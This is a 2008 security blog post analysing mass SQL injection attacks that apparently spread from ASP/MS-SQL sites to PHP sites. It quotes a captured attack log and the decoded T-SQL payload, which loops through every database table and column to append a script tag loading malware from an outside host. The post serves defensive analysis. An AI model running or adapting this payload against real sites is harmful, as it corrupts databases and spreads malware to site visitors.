Tuesday, August 26, 2008

Mass SQL Injection Attacks Now Targeting PHP Sites

Submitted by Ryan Barnett 8/26/2008

As most of you already have heard, or have faced yourselves, the mass SQL Injection attacks are still going strong on the web - Mass SQL Attack a Wake-up Call for Developers.

The Game Has Changed
Previously criminals had a tough time creating scripts that would mass exploit web applications. This was mainly due to website running custom coded apps. No two sites were the same. This means that attackers didn’t have access to the target code so they were forced to conduct manual reconnaissance probes to enumerate database structures (such as in the previous real attack). This meant that if an attacker wanted to extract out customer credit card data from a back-end database, they would be forced to run reconnaissance probes in order to enumerate the database structure and naming conventions. This manual probing offered defenders time to identify and react to attacks before successful compromise of customer data.

Now, these SQL Injection scripts can generically inject data into any vulnerable sites without prior knowledge of the database structure. They accomplish this by using multiple sql commands to essentially create a script that will generically gather then loop through all table names and append on some malicious javascript that points to malware on a 3rd party site.

A "skeleton key" attack if you will. Brutal...

The attacks have mainly been targeting IIS/ASP/MS-SQL sites up to this point. For example, I recently received this example attack log from a ModSecurity user which shows the SQL Injection payload -
GET /somedir/somfile.asp?arg1=SOMETHING;DECLARE%20@S%20
VARCHAR(4000));EXEC(@S);-- HTTP/1.1
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, */*;q=0.1
Accept-Language: en-US
Accept-Encoding: deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727)
Host: www.example.com
Connection: Close
If we decode the HEX encoded SQL data, we get this -
DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=sdo.1000mg.cn/csrss/w.js></script>''') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
Fortunately for this user, ModSecurity has rules that easily detected and blocked this attack.

The theory is that the SQL injection code could be updated to compromise other platforms such as PHP, etc... Well, I have been doing some research and I am finding evidence of PHP sites that have been infected. For example, if you do a google search looking for PHP sites that have the same javascript code as the example that was sent to me, you will see approximately 3,150 site PHP sites are currectly infected.
Technical Sidenote - what is interesting with these PHP sites is that even though their web applications are not filtering client input and their DB queries are not secure, they are actually able to prevent the goal of this attack since the PHP code is properly html encoding the output sent to the clients :)
What I am not sure of is whether then attack code itself has indeed changed (to target other back-end DBs) or if the victim site is using a PHP front-end with a MS-SQL back-end… If you have any logs of these attacks where they are targeting PHP pages (instead of ASP/ASPX), please share them with me or post them here.

No comments: